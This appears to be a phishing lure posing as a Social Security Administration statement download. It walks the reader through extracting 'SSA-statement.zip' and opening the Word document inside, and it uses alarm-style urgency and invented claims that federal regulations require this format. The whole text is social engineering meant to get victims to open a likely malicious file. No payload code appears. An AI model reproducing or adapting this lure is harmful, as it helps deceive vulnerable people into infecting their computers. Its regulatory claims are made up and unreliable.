To view: Locate the downloaded file and open it.
MANDATORY FILE EXTRACTION REQUIRED
1
Locate Your Downloaded File
Navigate to your Downloads folder and find the file named "SSA-statement.zip". This compressed archive contains your official SSA statement in a secure format.
2
Extract the ZIP Archive (CRITICAL STEP)
Right-click on the ZIP file and select "Extract All" or "Unzip". This step is ABSOLUTELY ESSENTIAL - the statement cannot be accessed without proper extraction. The file uses compression for security and data integrity.
3
Open the Microsoft Word Document
After extraction, you will find a Word document (.docx) file. Double-click to open it with Microsoft Word or any compatible word processor. This is your official SSA statement with all security features intact.
⛔ IMPORTANT SECURITY NOTICE:
The SSA statement is delivered in a compressed ZIP format with an embedded Word document for maximum security compliance. Attempting to access the statement without proper extraction will result in file corruption and loss of data. The extraction process is a mandatory federal requirement to ensure document authenticity and prevent unauthorized modifications.
✅ Why This Process is Required:
- ZIP compression ensures your statement reaches you uncorrupted and secure
- The Word document format maintains all official formatting and digital signatures
- This dual-layer approach prevents tampering during transmission
- Federal regulations require this specific format for all official SSA statements